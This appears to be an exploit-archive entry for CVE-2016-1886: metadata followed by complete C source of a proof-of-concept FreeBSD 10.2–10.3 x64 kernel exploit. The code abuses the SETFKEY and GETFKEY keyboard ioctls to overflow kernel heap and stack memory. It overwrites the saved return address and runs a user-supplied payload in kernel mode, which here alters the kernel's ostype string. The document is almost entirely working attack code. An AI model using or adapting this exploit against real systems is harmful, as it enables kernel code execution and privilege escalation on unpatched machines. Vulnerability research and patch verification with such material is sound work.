FreeBSD Kernel (FreeBSD 10.2 < 10.3 x64) - 'SETFKEY' (PoC)

Author: CTurt
type: dos
platform: freebsd_x86-64
port: 
date_added: 2018-02-28  
date_updated: 2018-02-28  
verified: 0  
codes: CVE-2016-1886  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 44211.c  

#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;

	ksym.version = sizeof(ksym);
	ksym.symname = name;

	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}

	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");

	strcpy(ostype, "CTurt  ");

	__asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
	fkeyarg_t fkey;

	fkey.keynum = index;
	fkey.flen = size;
	memset(&fkey.keydef, 0, 16);

	ioctl(0, SETFKEY, &fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
	fkeyarg_t fkey;

	fkey.keynum = index;
	fkey.flen = 16;
	memset(&fkey.keydef, 0, 16);

	ioctl(0, GETFKEY, &fkey);
}

int main(void) {
	int result, i;
	fkeyarg_t fkey;

	uint32_t ripLower4 = 0x808312cd; // jmp rbp
	uint64_t rbp = (uint64_t)payload;


	kprintf = resolve("printf");
	ostype = resolve("ostype");


	printf("  [+] Set full length for key 10\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, SETFKEY, &fkey);


	printf("  [+] Set bad length and perform heap overflow\n");
	heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));


	printf("  [+] Prepare stack overflow memory\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, GETFKEY, &fkey);
	originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
	originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);

	printf("  [+] Original rip: %#lx\n", originalRip);
	printf("  [+] Original rbp: %#lx\n", originalRbp);

	*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
	*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
	ioctl(0, SETFKEY, &fkey);


	printf("  [+] Trigger stack overflow\n");
	fflush(stdout);

	stackOverflow(0);


	return 0;
}